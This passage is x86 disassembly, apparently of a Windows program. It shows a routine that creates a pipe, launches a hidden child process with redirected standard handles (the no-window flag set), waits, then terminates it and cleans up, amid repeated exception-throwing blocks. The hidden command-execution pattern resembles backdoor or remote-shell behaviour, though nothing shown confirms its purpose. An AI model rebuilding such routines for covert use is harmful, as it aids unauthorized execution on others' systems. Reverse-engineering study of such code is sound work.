call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x30]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x3e8
call esi
cmp dword [esp + 0x1b8], 0x10
mov edi, dword [esp + 0x1a4]
jae 0x403f07
lea edi, [esp + 0x1a4]
call fcn.004076d0
mov ebx, 0x10
test eax, eax
je 0x403f56
mov edi, dword [esp + 0x1a4]
cmp dword [esp + 0x1b8], ebx
jae 0x403f2c
lea edi, [esp + 0x1a4]
call fcn.004076d0
cmp eax, 0xffffffff
je 0x403f56
mov eax, dword [esp + 0x1a4]
cmp dword [esp + 0x1b8], ebx
jae 0x403f4d
lea eax, [esp + 0x1a4]
push eax
call fcn.0040baf0
add esp, 4
mov eax, dword [esp + 0x204]
cmp dword [esp + 0x218], ebx
jae 0x403f6d
lea eax, [esp + 0x204]
push eax
call fcn.00420b80
add esp, 4
test eax, eax
je 0x404126
push 0x2710
call esi
xor edi, edi
push edi
lea ecx, [esp + 0x9c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
xor eax, eax
push 0x44
lea ecx, [esp + 0xfc]
push edi
push ecx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call fcn.00428b60
mov eax, dword [esp + 0x24]
or dword [esp + 0x130], 0x101
xor edx, edx
add esp, 0xc
mov dword [esp + 0x138], eax
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0x204]
mov dword [esp + 0xf8], 0x44
mov word [esp + 0x128], dx
cmp dword [esp + 0x218], ebx
jae 0x40400e
lea eax, [esp + 0x204]
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0xfc]
push edx
push edi
push edi
push 0x8000000
push 1
push edi
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [esp + 0x158], ebx
jb 0x404047
mov eax, dword [esp + 0x144]
push eax
call fcn.004205e0
add esp, 4
mov esi, 0xf
lea ecx, [esp + 0x140]
mov dword [esp + 0x158], esi
mov dword [esp + 0x154], edi
mov byte [esp + 0x144], 0
call fcn.00401380
cmp dword [esp + 0x198], ebx
jb 0x404087
mov ecx, dword [esp + 0x184]
push ecx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x180]
mov dword [esp + 0x198], esi
mov dword [esp + 0x194], edi
mov byte [esp + 0x184], 0
call fcn.00401380
cmp dword [esp + 0x1f8], ebx
jb 0x4040c2
mov edx, dword [esp + 0x1e4]
push edx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x1e0]
mov dword [esp + 0x1f8], esi
mov dword [esp + 0x1f4], edi
mov byte [esp + 0x1e4], 0
call fcn.00401380
cmp dword [esp + 0x1d8], ebx
jb 0x4040fd
mov eax, dword [esp + 0x1c4]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x1c0]
mov dword [esp + 0x1d8], esi
mov dword [esp + 0x1d4], edi
mov byte [esp + 0x1c4], 0
call fcn.00401380
xor ebx, ebx
jmp 0x402e42
mov ecx, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esp + 0x1c]
push edx
call edi
mov eax, dword [esp + 0x2c]
push eax
call edi
mov ecx, dword [esp + 0x30]
push ecx
call edi
push 0x464834
lea ebx, [esp + 0x184]
call fcn.00404aa0
test eax, eax
sete dl
test byte [esp + 0xf], dl
jne 0x404405
cmp dword [esp + 0x158], 0x10
jb 0x404182
mov ecx, dword [esp + 0x144]
push ecx
call fcn.004205e0
add esp, 4
xor eax, eax
lea ecx, [esp + 0x140]
mov dword [esp + 0x158], 0xf
mov dword [esp + 0x154], eax
mov byte [esp + 0x144], al
call fcn.00401380
xor ebx, ebx
lea esi, [ebx + 0xf]
mov edi, 0x10
cmp dword [esp + 0x198], edi
jb 0x4041cc
mov edx, dword [esp + 0x184]
push edx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x180]
mov dword [esp + 0x198], esi
mov dword [esp + 0x194], ebx
mov byte [esp + 0x184], bl
call fcn.00401380
cmp dword [esp + 0x1f8], edi
jb 0x404206
mov eax, dword [esp + 0x1e4]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x1e0]
mov dword [esp + 0x1f8], esi
mov dword [esp + 0x1f4], ebx
mov byte [esp + 0x1e4], bl
call fcn.00401380
cmp dword [esp + 0x1d8], edi
jb 0x404240
mov ecx, dword [esp + 0x1c4]
push ecx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x1c0]
mov dword [esp + 0x1d8], esi
mov dword [esp + 0x1d4], ebx
mov byte [esp + 0x1c4], bl
call fcn.00401380
jmp 0x402e42
lea edx, [esp + 0xa0]
push edx
lea ecx, [esp + 0xd4]
mov dword [esp + 0xa4], ebx
call fcn.0041fd70
push 0x467b98
lea eax, [esp + 0xd4]
push eax
mov dword [esp + 0xd8], vtable.std::bad_alloc.0
call fcn.00428790
lea ecx, [esp + 0x98]
push ecx
lea ecx, [esp + 0x124]
mov dword [esp + 0x9c], ebx
call fcn.0041fd70
push 0x467b98
lea edx, [esp + 0x124]
push edx
mov dword [esp + method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
call fcn.00428790
lea eax, [esp + 0x68]
push eax
lea ecx, [esp + 0x110]
mov dword [esp + 0x6c], ebx
call fcn.0041fd70
push 0x467b98
lea ecx, [esp + 0x110]
push ecx
mov dword [esp + method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
call fcn.00428790
lea edx, [esp + 0xa0]
push edx
lea ecx, [esp + 0x118]
mov dword [esp + 0xa4], ebx
call fcn.0041fd70
push 0x467b98
lea eax, [esp + 0x118]
push eax
mov dword [esp + method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
call fcn.00428790
lea ecx, [esp + 0xb0]
push ecx
lea ecx, [esp + 0xe0]
mov dword [esp + 0xb4], ebx
call fcn.0041fd70
push 0x467b98
lea edx, [esp + 0xe0]
push edx
mov dword [esp + 0xe4], vtable.std::bad_alloc.0
call fcn.00428790
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x98]
mov dword [esp + 0x60], ebx
call fcn.0041fd70
push 0x467b98
lea ecx, [esp + 0x98]
push ecx
mov dword [esp + 0x9c], vtable.std::bad_alloc.0
call fcn.00428790
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x78]
mov dword [esp + 0x40], ebx
call fcn.0041fd70
push 0x467b98
lea eax, [esp + 0x78]
push eax
mov dword [esp + 0x7c], vtable.std::bad_alloc.0
call fcn.00428790
lea ecx, [esp + 0x6c]
push ecx
lea ecx, [esp + 0xc8]
mov dword [esp + 0x70], ebx
call fcn.0041fd70
push 0x467b98
lea edx, [esp + 0xc8]
push edx
mov dword [esp + 0xcc], vtable.std::bad_alloc.0
call fcn.00428790
mov eax, dword [esp + 0x2c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [esp + 0x30]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x3e8
call esi
cmp dword [esp + 0x1b8], 0x10
mov edi, dword [esp + 0x1a4]
jae 0x40443e
lea edi, [esp + 0x1a4]
call fcn.004076d0
mov ebx, 0x10
test eax, eax
je 0x40448d
mov edi, dword [esp + 0x1a4]
cmp dword [esp + 0x1b8], ebx
jae 0x404463
lea edi, [esp + 0x1a4]
call fcn.004076d0
cmp eax, 0xffffffff
je 0x40448d
mov eax, dword [esp + 0x1a4]
cmp dword [esp + 0x1b8], ebx
jae 0x404484
lea eax, [esp + 0x1a4]
push eax
call fcn.0040baf0
add esp, 4
mov edx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x2c]
push ecx
call esi
mov edx, dword [esp + 0x30]
push edx
call esi
mov eax, dword [esp + 0x204]
cmp dword [esp + 0x218], ebx
jae 0x4044c6
lea eax, [esp + 0x204]
push eax
call fcn.00420b80
add esp, 4
push 0
call main
lea eax, [esp + 0x64]
push eax
lea ecx, [esp + 0xa8]
mov dword [esp + 0x68], ebx
call fcn.0041fd70
push 0x467b98
lea ecx, [esp + 0xa8]
push ecx
mov dword [esp + 0xac], vtable.std::bad_alloc.0
call fcn.00428790
lea edx, [esp + 0x44]
push edx
lea ecx, [esp + 0x88]
mov dword [esp + 0x48], ebx
call fcn.0041fd70
push 0x467b98
lea eax, [esp + 0x88]
push eax
mov dword [esp + 0x8c], vtable.std::bad_alloc.0
call fcn.00428790
lea ecx, [esp + 0x9c]
push ecx
lea ecx, [esp + 0x10c]
mov dword [esp + 0xa0], ebx
call fcn.0041fd70
push 0x467b98
lea edx, [esp + 0x10c]
push edx
mov dword [esp + method.std::bad_alloc.virtual_0], vtable.std::bad_alloc.0
call fcn.00428790
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x34], ebx
call fcn.0041fd70
push 0x467b98
lea ecx, [esp + 0x44]
push ecx
mov dword [esp + 0x48], vtable.std::bad_alloc.0
call fcn.00428790
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.0041fd70
push 0x467b98
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], vtable.std::bad_alloc.0
call fcn.00428790
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.0041fd70
push 0x467b98
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x28], vtable.std::bad_alloc.0
call fcn.00428790
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.0041fd70
push 0x467b98
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], vtable.std::bad_alloc.0
call fcn.00428790
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.0041fd70
push 0x467b98
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], vtable.std::bad_alloc.0
call fcn.00428790
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.0041fd70
push 0x467b98
lea edx, [esp + 0x24]
push edx
mov dword [esp + 0x28], vtable.std::bad_alloc.0
call fcn.00428790
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x14], ebx
call fcn.0041fd70
push 0x467b98
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], vtable.std::bad_alloc.0
call fcn.00428790
int3